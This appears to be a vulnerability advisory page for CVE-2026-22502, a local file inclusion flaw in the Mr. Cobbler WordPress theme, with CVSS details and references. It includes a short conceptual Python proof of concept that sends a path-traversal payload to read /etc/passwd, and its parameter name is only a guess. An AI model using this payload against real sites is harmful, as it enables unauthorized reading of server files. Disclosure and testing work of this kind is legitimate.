CVE-2026-22502

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Mr. Cobbler mr-cobbler allows PHP Local File Inclusion.This issue affects Mr. Cobbler: from n/a through <= 1.1.9.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mr. Cobbler <= 1.1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-22502 (Conceptual)
# Note: Replace the target URL and vulnerable parameter based on actual analysis.

target_url = "http://example.com/wp-content/themes/mr-cobbler/vulnerable_file.php"

# LFI payload to read /etc/passwd
payload = {
    "path": "../../../../../../../../etc/passwd"  # Example parameter name
}

try:
    response = requests.get(target_url, params=payload, timeout=10)
    if "root:x" in response.text:
        print("[+] Vulnerability confirmed! /etc/passwd content:")
        print(response.text)
    else:
        print("[-] Vulnerability not detected or payload incorrect.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22502
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22502
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22502/
[4] VulDB https://vuldb.com/cve/CVE-2026-22502
[5] https://patchstack.com/database/Wordpress/Theme/mr-cobbler/vulnerability/wordpress-mr-cobbler-theme-1-1-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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